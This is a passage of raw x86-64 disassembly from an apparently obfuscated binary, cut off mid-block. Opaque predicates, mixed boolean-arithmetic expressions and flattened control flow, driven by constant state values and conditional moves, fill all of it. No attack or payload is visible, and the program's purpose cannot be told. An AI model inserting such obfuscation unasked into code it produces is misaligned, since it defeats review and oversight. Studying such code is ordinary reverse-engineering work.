xor ebx, 0x802104
xor ecx, 0x500180b0
or ecx, 0xa75e5a43
mov edi, edx
not edi
mov esi, ecx
and esi, 0x2833de2a
and ebx, 0x50802194
or ebx, esi
or ecx, edi
and edi, 0x2833de2a
and edx, 0xd7cc21d5
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xe17324f
and ecx, 0xf1e8cdb0
or ecx, edx
mov edx, ecx
xor edx, 0xa949680c
mov ebx, ecx
xor ebx, 0xa949680d
and ebx, edx
xor ecx, 0x56b697f2
and ecx, 0xfffffffe
and edx, 1
or edx, ecx
mov ecx, ebx
not ecx
mov edi, edx
not edi
mov esi, ecx
and esi, 0x199e22ee
and ebx, 0xe661dd11
or ebx, esi
or ecx, edi
and edi, 0x199e22ee
and edx, 0xe661dd11
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xeaf3fb2b
and ecx, 0x150c04d4
or ecx, edx
mov edx, ecx
xor edx, 0x140404d4
xor ecx, 0xa802a321
and ecx, 0xa90aa321
and edx, 0x56f55cde
or edx, ecx
mov ecx, edx
xor ecx, 0x8108a120
xor edx, 0x2e45cc6
and edx, 0x2ae65ec7
and ecx, 0xd519a138
or ecx, edx
xor ecx, 0xd519a138
cmp ecx, 0xffffffff
setne r8b
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg cl
mov eax, ecx
xor al, dl
xor al, 1
or al, cl
xor al, 1
and bl, r8b
and cl, dl
or cl, bl
xor cl, al
mov edx, ecx
not dl
and dl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x1bbeed1f
mov ebx, 0x1b44e35c
cmovne eax, ebx
test cl, cl
mov ecx, eax
cmovne ecx, ebx
jmp 0x14019f0fe
mov eax, dword [0x1402656c8]
mov ecx, dword [0x1402656c4]
lea ebx, [rax - 1]
imul ebx, eax
mov eax, ebx
not eax
mov edi, eax
and edi, 0xfffffffe
mov edx, ebx
and edx, 1
or edx, edi
mov edi, edx
not edi
and edi, 0xba8425e5
and edx, 0x457bda1a
or edx, edi
mov edi, edx
xor edi, 0x102c01a
xor edx, 0xba8425e5
mov esi, edx
and esi, 0xfc7d1b65
and edi, 0x382e49a
or edi, esi
or edx, ebx
and ebx, 0xfc7d1b65
and eax, 0x382e49a
or eax, ebx
xor eax, edi
not edx
or edx, eax
cmp edx, 0xffffffff
setne al
sete r9b
cmp ecx, 9
setg r8b
cmp ecx, 0xa
setl r10b
xor al, r9b
and al, r9b
mov ebx, eax
xor bl, 1
and al, bl
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, eax
and dl, r10b
xor al, 1
and al, r8b
or al, dl
mov edx, r10d
or dl, r9b
xor dl, 1
xor r10b, r9b
mov ebx, edx
and bl, r10b
xor r10b, dl
or r10b, bl
mov ecx, r10d
xor cl, 1
mov r8d, eax
xor r8b, 1
mov ebx, eax
and bl, r8b
mov edx, ecx
and dl, r10b
mov r9d, ebx
and r9b, al
xor bl, al
or bl, r9b
xor dl, 1
mov r9d, edx
xor r9b, r10b
or dl, r10b
xor dl, 1
or dl, r9b
xor dl, bl
xor r8b, r10b
or cl, al
xor cl, 1
or cl, r8b
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0x8aad4385
mov ebx, 0x1cd9aac7
cmovne ecx, ebx
test dl, 1
cmove ecx, ebx
test al, 1
mov eax, 0x8aad4385
jmp 0x1401a26bd
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edi, [rdx - 1]
imul edi, edx
mov eax, edi
not eax
mov ebx, eax
or ebx, 0xf2cc830a
mov edx, ebx
not edx
mov ecx, edi
or ecx, 0xd100435
and ecx, 0xf900535
mov esi, eax
and esi, 0xf04c820a
or esi, ecx
and ebx, 0xf900535
and edx, 0x2378c0
or edx, ebx
xor edx, esi
mov ecx, edx
not ecx
and ecx, 0x9af3783e
and edx, 0x650c87c1
or edx, ecx
mov ecx, edx
xor ecx, 0x17000042
and eax, 0xdfa9a44e
and edi, 0x20565bb1
or edi, eax
mov eax, edi
xor eax, 0x101311
xor edx, 0x683ffb35
mov ebx, edx
and ebx, 0xe8ceccac
and ecx, 0x17313353
or ecx, ebx
xor edi, 0xc888840c
and edi, 0xe8ceccac
and eax, 0x17313353
or eax, edi
xor eax, ecx
xor edx, eax
test edx, eax
sete r9b
setne al
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg bl
mov ecx, eax
and cl, bl
and al, dl
and dl, r9b
or dl, cl
xor dl, 1
or dl, bl
and bl, r9b
or bl, al
mov eax, ebx
and bl, dl
xor dl, 1
xor al, 1
mov ecx, edx
xor cl, al
and cl, dl
and al, dl
or al, bl
mov edx, ecx
xor dl, al
test al, al
mov eax, 0x82065f3e
mov ebx, 0xe9f2e871
cmovne eax, ebx
test cl, 1
mov ecx, 0x82065f3e
jmp 0x14019e249
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebx, ecx
and ebx, 0x31ce4b3e
and ecx, edx
and edx, 0xce31b4c1
or edx, ebx
xor edx, 0xce31b4c1
mov ebx, edx
and ebx, ecx
xor edx, ecx
or edx, ebx
mov r10d, edx
not r10d
mov edi, edx
xor edi, 0xa40722eb
and edi, r10d
mov esi, r10d
or esi, 0xa40722eb
mov ebx, esi
not ebx
mov ecx, edi
not ecx
mov r9d, ecx
and r9d, 0xf5ed62e2
and edi, 0xa129d1d
or edi, r9d
or ecx, esi
and esi, 0xf5ed62e2
and ebx, 0xa109d14
or ebx, esi
xor ebx, edi
not ecx
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0x834401a4
and ecx, 0x7cbbfe5b
or ecx, ebx
mov edi, ecx
xor edi, 0x40304491
and edx, 0x57e3b134
mov eax, r10d
and eax, 0xa81c4ecb
or eax, edx
xor eax, 0x57e3b135
and r10d, 1
or r10d, eax
mov eax, r10d
not eax
xor ecx, 0x2743234e
mov edx, ecx
and edx, 0x9e8fbb62
and edi, 0x6170449d
or edi, edx
or ecx, r10d
and r10d, 0x9e8fbb62
and eax, 0x6170449d
or eax, r10d
xor eax, edi
not ecx
or ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0x5c825937
and edx, ecx
not ecx
and ecx, 0x8805810
and eax, 0x54020127
or eax, ecx
xor eax, 0x54020127
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov eax, edx
not eax
and eax, 0xa37da6c8
and edx, 0x5c825937
or edx, eax
mov eax, edx
not eax
and eax, 0xbb33f10
and edx, 0xf44cc0ef
or edx, eax
mov eax, edx
xor eax, 0xe408806a
xor edx, 0x3921310
and edx, 0x13d65395
and eax, 0xec29ac6a
or eax, edx
xor eax, 0xec29ac6a
sete r9b
setne al
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg r8b
mov edx, eax
xor dl, r9b
and dl, al
mov eax, edx
not al
and al, dl
xor al, 1
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
xor al, r8b
xor r8b, r9b
mov edx, ecx
and dl, r9b
xor cl, r9b
or cl, dl
mov edx, r8d
xor dl, cl
or cl, r8b
xor cl, 1
or cl, dl
mov edx, eax
xor dl, cl
xor dl, 1
or cl, al
mov eax, edx
xor al, cl
test dl, 1
mov edx, 0x96e7d6e8
mov ebx, 0xc4f4985f
cmovne edx, ebx
test cl, 1
cmovne edx, ebx
not al
test al, 1
mov eax, 0x96e7d6e8
jmp 0x1401a0e8b
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xa8d50746
and edx, 0x572af8b9
or edx, ecx
mov ebx, edx
not ebx
xor edx, 0xa8d50746
mov ecx, edx
or ecx, 1
mov edi, ecx
not edi
and edx, 0xfffffffe
and ebx, 1
or ebx, edx
mov edx, ebx
not edx
mov esi, ecx
and esi, 0x38d41c3d
and edi, 0xc72be3c2
or edi, esi
or ecx, edx
and edx, 0x38d41c3d
and ebx, 0xc72be3c2
or ebx, edx
xor ebx, edi
not ecx
or ecx, ebx
mov edx, ecx
xor edx, 0x4fb6298d
and edx, ecx
not ecx
and ecx, 0x4fb6298d
mov ebx, ecx
and ebx, edx
xor edx, ecx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0x7d2cc4a2
and edx, 0x82d33b5d
or edx, ecx
mov ecx, edx
xor ecx, 0x5040050
xor edx, 0x2108920
and edx, 0xca719ba0
and ecx, 0x358e645f
or ecx, edx
mov edx, ecx
xor edx, 0x1842016
xor ecx, 0xc8318220
and ecx, 0xfc3bc669
and edx, 0x3c43996
or edx, ecx
xor edx, 0x3c43996
sete r8b
setne bl
cmp eax, 9
setg r9b
cmp eax, 0xa
setl al
mov ecx, eax
xor cl, r9b
and cl, al
xor r9b, bl
or bl, cl
xor cl, 1
xor bl, 1
or cl, r8b
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
or al, r8b
xor al, 1
mov edx, eax
and dl, r9b
xor al, r9b
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xe01f6ab1
mov ebx, 0x7045d124
cmovne ecx, ebx
test al, 1
mov eax, 0xe01f6ab1
jmp 0x14019e5fe
mov eax, 0x8de096b8
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, 0xfc265dbe
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, 0xd6d0a52f
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, 0x1d6e4cd6
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, 0x995df926
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, dword [0x1402656c8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
xor eax, 0x92d80f4b
and eax, ecx
not ecx
and ecx, 0x92d80f4b
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x6d27f0b4
and eax, 0x92d80f4b
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xfffffffe
and ecx, 0x2f0840ed
and eax, 0xd0f7bf12
or eax, ecx
xor eax, 0xd0f7bf13
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x92008134
mov edx, eax
and edx, 0x8023208
or edx, ecx
xor edx, 0x8023208
and eax, 0x65fd4cc3
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x23a23496
and eax, 0xdc5dcb69
or eax, ecx
mov ecx, eax
xor ecx, 0x40804
xor eax, 0xb9a087aa
mov edx, eax
and edx, 0x77db76db
and ecx, 0x88248924
or ecx, edx
xor ecx, 0x77db76db
xor eax, ecx
test eax, ecx
setne al
cmp dword [0x1402656c4], 0xa
setl bl
mov edx, ebx
xor dl, al
mov ecx, ebx
xor cl, dl
not cl
and cl, dl
or al, bl
xor al, 1
not dl
and dl, bl
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov eax, ecx
xor al, 1
mov ebx, edx
xor bl, 1
and dl, al
or al, bl
and bl, cl
or bl, dl
mov ecx, eax
xor cl, bl
test cl, 1
mov ecx, 0xa91f60aa
mov edx, 0xb245c288
cmovne ecx, edx
test bl, bl
mov edx, ecx
mov ebx, 0xa91f60aa
cmovne edx, ebx
jmp 0x1401a216e
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edi, ecx
not edi
mov ebx, edi
and ebx, 0x411edd5b
mov edx, ecx
and edx, 0xbee122a4
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0xbee122a5
and edx, 0x411edd5a
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0x9cec390d
and edx, 0x6313c6f2
or edx, ebx
xor edx, 0x6313c6f2
and edi, 0xe3e45f8c
and ecx, 0x1c1ba073
or ecx, edi
xor ecx, 0x1c1ba073
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
cmp ecx, 0xffffffff
setne r8b
sete dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov ecx, eax
xor cl, dl
xor bl, r8b
and al, dl
or al, cl
xor cl, 1
mov edx, eax
xor dl, bl
xor bl, 1
xor dl, 1
or bl, al
xor bl, 1
or bl, dl
mov eax, ebx
xor al, 1
and al, bl
xor al, 1
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
xor al, 1
mov edx, ecx
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xa8449866
mov ebx, 0x26bd2089
cmovne ecx, ebx
test al, 1
mov eax, ecx
mov ebx, 0xa8449866
cmovne eax, ebx
test dl, 1
cmovne eax, ecx
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov eax, ecx
not eax
mov edi, ecx
or edi, 0x9a86d4d9
mov esi, edi
not esi
mov edx, eax
or edx, 0x65792b26
mov ebx, edx
not ebx
and edi, 0x49afc963
and esi, 0x24502204
or esi, edi
and edx, 0x49afc963
and ebx, 0x92001498
or ebx, edx
xor ebx, esi
mov edx, ebx
not edx
and edx, 0x9a86d4d8
and ebx, 0x65792b27
or ebx, edx
mov edx, ebx
not edx
and edx, 0x947cc772
and ebx, 0x6b83388d
or ebx, edx
xor ebx, 0x6b83388d
and eax, 0xb301932a
and ecx, 0x4cfe6cd5
or ecx, eax
xor ecx, 0x4cfe6cd5
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
cmp ecx, 0xffffffff
setne r9b
sete r10b
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg bl
mov eax, ecx
mov edx, ecx
and dl, r10b
xor cl, r10b
and r10b, bl
and al, r9b
or al, r10b
xor bl, r9b
or cl, dl
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
not dl
mov ebx, eax
xor bl, cl
and bl, al
and cl, al
xor al, 1
and al, dl
or cl, al
mov eax, ebx
xor al, cl
test al, 1
mov eax, 0x9066c140
mov edx, 0x33904d46
cmovne eax, edx
test cl, cl
mov ecx, eax
cmovne ecx, edx
jmp 0x1401a1a3b
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rdx - 1]
imul ebx, edx
mov edi, ebx
not edi
mov edx, edi
and edx, 0xe40124
mov ecx, ebx
and ecx, 0xe10045a
or ecx, edx
xor ecx, 0xe10045a
mov edx, ebx
xor edx, 0xef4057e
and edx, ebx
mov esi, ecx
and esi, edx
xor edx, ecx
or edx, esi
mov ecx, edx
not ecx
and ecx, 0xf10bfa80
and edx, 0xef4057f
or edx, ecx
mov ecx, edx
not ecx
and edi, 0xa64c6314
and ebx, 0x59b39ceb
or ebx, edi
mov edi, ebx
xor edi, 0x40329001
xor ebx, 0xa64c6314
mov esi, edx
and esi, 0x198d2cfa
and ecx, 0xe672d305
or ecx, esi
or edx, ebx
and ebx, 0x198d2cfa
and edi, 0xe672d305
or edi, ebx
xor edi, ecx
not edx
or edx, edi
cmp edx, 0xffffffff
sete r9b
setne r8b
cmp eax, 0xa
setl dl
cmp eax, 9
setg cl
mov ebx, ecx
and r9b, cl
and cl, r8b
xor bl, r8b
or bl, cl
and dl, r8b
or r9b, dl
mov ecx, r9d
xor cl, 1
mov eax, ebx
mov edx, ecx
mov r8d, ebx
and r8b, cl
xor cl, bl
xor bl, 1
and al, bl
and dl, r9b
xor al, 1
mov r10d, ebx
xor r10b, al
or al, bl
xor al, 1
or al, r10b
xor dl, 1
mov ebx, r9d
xor bl, dl
or dl, r9b
xor dl, 1
or dl, bl
xor dl, al
or cl, r8b
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x61e1d0c9
mov ebx, 0x3f718534
cmovne eax, ebx
test cl, cl
mov ecx, 0x61e1d0c9
jmp 0x14019c0ca
mov eax, 0xab41804f
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x20882ca8
mov ebx, ecx
and ebx, 0x92208102
or ebx, edx
xor ebx, 0x92208102
and ecx, 0x4d575255
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x4d575255
and ecx, 0xb2a8adaa
or ecx, edx
mov ebx, ecx
not ebx
and ebx, 0x135e03ca
mov edx, ecx
and edx, 0xeca1fc35
or edx, ebx
mov ebx, edx
xor ebx, 0xeca1fc35
xor edx, 0x111200c0
mov edi, ebx
and edi, 0x27a016c1
and ecx, 0xd85fe93e
or ecx, edi
mov edi, ecx
not edi
and edi, 0x9cba8951
and ecx, 0x634576ae
or ecx, edi
mov esi, ecx
xor esi, 0x44842024
and edx, 0xdd9350f4
mov edi, ebx
and edi, 0x226caf0b
or edi, edx
xor edi, 0xdd9350f5
and ebx, 1
or ebx, edi
mov edx, ebx
not edx
xor ecx, 0xbb1a9f91
mov edi, ecx
and edi, 0x3b73c4ca
and esi, 0xc48c3b35
or esi, edi
or ecx, ebx
and ebx, 0x3b73c4ca
and edx, 0xc48c3b35
or edx, ebx
xor edx, esi
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x528101
mov ebx, ecx
and ebx, 0x85891a10
or ebx, edx
xor ebx, 0x85891a10
and ecx, 0x7a2464ee
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x1883dd14
and ecx, 0xe77c22eb
or ecx, edx
mov edx, ecx
xor edx, 0x6284a858
xor ecx, 0xd400405
and ecx, 0xd6315a7
and edx, 0xf29cea58
or edx, ecx
mov ecx, edx
xor ecx, 0x1204a258
xor edx, 0x92305a1
and edx, 0xe9bb4da1
and ecx, 0x1644b25e
or ecx, edx
xor ecx, 0x1644b25e
sete r8b
setne bl
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
mov edx, ebx
and dl, al
or bl, cl
and cl, r8b
or cl, dl
xor cl, 1
or cl, al
mov r9d, ecx
xor r9b, 1
xor bl, 1
or al, r8b
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
xor al, 1
mov edx, ecx
and dl, r9b
mov ebx, ecx
xor bl, dl
xor dl, 1
or dl, r9b
xor dl, 1
or dl, bl
xor dl, al
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x90c7dedc
mov ebx, 0xa477b151
cmovne eax, ebx
test dl, 1
cmove eax, ebx
test cl, 1
mov ecx, 0x90c7dedc
jmp 0x1401a14db
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x46094a8a
and edx, 0xb9f6b575
or edx, ecx
mov ebx, edx
xor ebx, 0x80d2a545
xor edx, 0x94880
and edx, 0x392d58b0
and ebx, 0xc6d2a74f
or ebx, edx
mov ecx, ebx
xor ecx, 0x392d58b0
xor ebx, 0xc412a201
mov edi, ecx
and edi, 0xfffffffe
and ebx, 0xfc3eb281
and ecx, 0x3c14d7e
or ecx, ebx
xor ecx, 0x3c14d7f
mov edx, edi
and edx, ecx
xor ecx, edi
or ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0xb7cca8a2
and edx, ecx
and ecx, 0x4833575d
or ecx, ebx
xor ecx, 0x4833575d
mov ebx, ecx
and ebx, edx
xor ecx, edx
or ecx, ebx
setne cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg r8b
mov eax, r8d
and al, cl
xor r8b, cl
or r8b, al
mov eax, ecx
or al, dl
xor cl, dl
not cl
and cl, dl
mov edx, eax
xor dl, cl
xor cl, 1
xor dl, 1
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
mov edx, ecx
and dl, al
mov ebx, edx
and bl, cl
xor dl, cl
or dl, bl
mov ecx, edx
and cl, r8b
mov ebx, r8d
and bl, al
xor al, r8b
xor r8b, 1
xor dl, 1
and dl, r8b
or dl, cl
or al, bl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x4675cec2
mov ebx, 0x53dfea73
cmovne ecx, ebx
test al, 1
mov eax, 0x4675cec2
jmp 0x1401a14d6
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, 0xf409fdf4
and ecx, 0xbf6020b
or ecx, edx
mov edx, ecx
not edx
and edx, 0x4e491a77
and ecx, 0xb1b6e588
or ecx, edx
xor ecx, 0xba40e782
mov edx, ecx
and edx, ebx
xor ecx, ebx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xcb1b884f
and ecx, 0x34e477b0
or ecx, edx
xor ecx, 0x34e477b0
sete r8b
setne r11b
cmp eax, 0xa
setl r10b
cmp eax, 9
setg cl
mov eax, r11d
xor al, r8b
and al, r11b
mov edx, eax
not dl
and dl, al
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
xor dl, cl
mov r9d, edx
xor r9b, 1
and r11b, r10b
or r10b, r8b
and cl, r8b
or cl, r11b
xor cl, 1
mov eax, r10d
xor al, cl
or cl, r10b
xor cl, 1
or cl, al
mov ebx, ecx
xor bl, 1
mov eax, ecx
and al, bl
xor al, 1
mov r8d, ebx
xor r8b, al
or al, bl
xor al, 1
or al, r8b
and dl, al
xor al, 1
and al, r9b
or al, dl
mov edx, r9d
and dl, cl
xor cl, r9b
or cl, dl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0x54161e0c
mov ebx, 0x45e73d95
cmovne ecx, ebx
test al, 1
cmove ecx, ebx
not dl
test dl, 1
mov eax, 0x54161e0c
jmp 0x14019f4d9
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
xor edx, 0x19ec77c8
and edx, ebx
not ebx
and ebx, 0x19ec77c8
mov ecx, ebx
and ecx, edx
xor edx, ebx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xd6d03b3e
and edx, 0x292fc4c1
or edx, ecx
mov r9d, edx
xor r9d, 0x30c10000
mov eax, edx
xor eax, 0xcf3c4cf6
xor edx, 0x44fb65be
and edx, eax
mov esi, eax
or esi, 0x7438d6b7
mov ecx, esi
not ecx
mov ebx, edx
not ebx
mov edi, ebx
and edi, 0x4e8f4df5
and edx, 0xb170b20a
or edx, edi
or ebx, esi
and esi, 0x4e8f4df5
and ecx, 0x81402008
or ecx, esi
xor ecx, edx
not ebx
or ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0x8bc72949
and ebx, 0x7438d6b6
or ebx, ecx
and r9d, 0x7bed0470
mov ecx, eax
and ecx, 0x8412fb8f
or ecx, r9d
xor ecx, 0x7bed0471
and eax, 1
or eax, ecx
mov ecx, eax
not ecx
mov edx, ebx
not edx
mov edi, edx
and edi, 0xeb7d4b3d
and ebx, 0x1482b4c2
or ebx, edi
or edx, eax
and eax, 0xeb7d4b3d
and ecx, 0x1482b4c2
or ecx, eax
xor ecx, ebx
not edx
or edx, ecx
mov eax, edx
not eax
and edx, 0xb2753d01
and eax, 0x4d8ac2fe
or eax, edx
mov ecx, eax
xor ecx, 0xb2441c00
xor eax, 0x448800b0
and ecx, 0xbb46de4e
and eax, 0x44b921b1
or eax, ecx
mov ecx, eax
xor ecx, 0x1a021444
xor eax, 0x890091
and eax, 0xa1cdca9b
and ecx, 0x5e323564
or ecx, eax
xor ecx, 0x5e323564
setne r9b
sete cl
cmp r8d, 9
setg dl
cmp r8d, 0xa
setl bl
mov r8d, ebx
xor r8b, cl
mov eax, r8d
xor al, 1
and r9b, bl
or bl, cl
xor bl, 1
and dl, cl
or dl, r9b
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
mov ecx, edx
not cl
and cl, al
or al, dl
and dl, r8b
or dl, cl
mov ecx, edx
xor cl, al
test dl, dl
mov edx, 0x6e926331
mov ebx, 0xaeb6ac34
cmovne edx, ebx
test al, al
mov eax, 0x6e926331
cmovne edx, eax
test cl, 1
jmp 0x1401a2243
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
not ebx
mov edi, ebx
and edi, 0xfffffffe
mov ecx, edx
and ecx, 1
or ecx, edi
mov edi, ecx
not edi
and edi, 0xaceaa9d
and ecx, 0xf5315562
or ecx, edi
mov edi, ecx
xor edi, 0x15304142
and ebx, 0xbe66e62c
and edx, 0x419919d3
or edx, ebx
mov ebx, edx
xor ebx, 0x1100143
xor ecx, 0xaceaa9d
xor edx, 0xbe66e62c
mov esi, ecx
and esi, 0xe0cdbcb4
and edi, 0x1f32434b
or edi, esi
or ecx, edx
and edx, 0xe0cdbcb4
and ebx, 0x1f32434b
or ebx, edx
xor ebx, edi
not ecx
or ecx, ebx
cmp ecx, 0xffffffff
setne r8b
sete bl
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
mov r9d, ecx
or cl, bl
and bl, al
and r9b, r8b
or r9b, bl
xor al, r8b
xor al, 1
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
mov ecx, eax
xor cl, 1
mov r8d, r9d
xor r8b, 1
mov edx, r8d
and dl, r9b
mov ebx, eax
and bl, cl
mov r10d, r8d
and r10b, dl
xor dl, r8b
or dl, r10b
mov r10d, eax
and r10b, bl
xor bl, al
or bl, r10b
xor bl, dl
xor r8b, al
or cl, r9b
xor cl, 1
or cl, r8b
mov eax, ecx
xor al, bl
test al, 1
mov eax, 0x6dcf6271
mov edx, 0x93a8688a
cmovne eax, edx
test cl, 1
mov ecx, 0x6dcf6271
cmovne ecx, eax
jmp 0x1401a253b
mov eax, 0x1e49b5ae
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, 0x1997d816
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x826808e5
and edx, ecx
and ecx, 0x7d97f71a
or ecx, ebx
mov ebx, ecx
xor ebx, 0x186f010
xor ecx, 0x826808e5
mov edi, edx
not edi
mov esi, ecx
and esi, 0xfc19070e
and ebx, 0x3e6f8f1
or ebx, esi
or ecx, edi
and edi, 0xfc19070e
and edx, 0x3e6f8f1
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebx, ecx
and ebx, 0xfffffffe
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
not edx
and ecx, edx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
setne cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg bl
xor dl, cl
xor cl, bl
xor bl, dl
and bl, dl
mov edx, ecx
xor dl, 1
mov eax, ebx
xor al, 1
and cl, al
or al, dl
and dl, bl
or dl, cl
mov ecx, eax
xor cl, dl
test dl, dl
mov edx, 0x73618b91
mov ebx, 0x88443e93
cmovne edx, ebx
test al, al
mov eax, 0x73618b91
cmovne edx, eax
test cl, cl
jmp 0x1401a2243
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edi, [rdx - 1]
imul edi, edx
mov ebx, edi
not ebx
mov edx, ebx
and edx, 0xcf659fba
mov ecx, edi
and ecx, 0x309a6044
or ecx, edx
mov esi, ecx
xor esi, 0x10902000
xor ecx, 0x84618823
mov edx, ebx
or edx, 0xa46bc866
and ecx, 0xa46bc867
and esi, 0x5b943798
or esi, ecx
and edx, 0xa46bc867
xor edx, esi
mov ecx, edx
not ecx
and ebx, 0x7d3845a5
and edi, 0x82c7ba5a
or edi, ebx
mov ebx, edi
xor ebx, 0x87b818
xor edi, 0x7d3845a5
mov esi, edx
and esi, 0x87600767
and ecx, 0x789ff898
or ecx, esi
or edx, edi
and edi, 0x87600767
and ebx, 0x789ff898
or ebx, edi
xor ebx, ecx
not edx
or edx, ebx
cmp edx, 0xffffffff
sete cl
setne dl
cmp eax, 9
setg r8b
cmp eax, 0xa
setl r9b
mov ebx, r9d
xor bl, dl
mov eax, ebx
xor al, r8b
and al, bl
or dl, r9b
xor dl, 1
or cl, r8b
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
xor al, 1
xor cl, 1
mov edx, eax
or dl, cl
xor cl, al
mov eax, edx
xor al, cl
test cl, 1
mov ecx, 0xf11ae917
mov ebx, 0x11eaa84d
cmovne ecx, ebx
test dl, 1
mov edx, 0xf11ae917
cmovne ecx, edx
test al, 1
jmp 0x1401a23ee
mov eax, 0x6cc08cda
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
mov edx, ebx
xor edx, 0x2445f761
and edx, ebx
not ebx
and ebx, 0x1f3e4b76
and ecx, 0xe0c1b489
or ecx, ebx
mov ebx, ecx
xor ebx, 0x20419001
xor ecx, 0x4044360
or ecx, 0xdbba089e
mov edi, edx
not edi
mov esi, ecx
and esi, 0x909c67b8
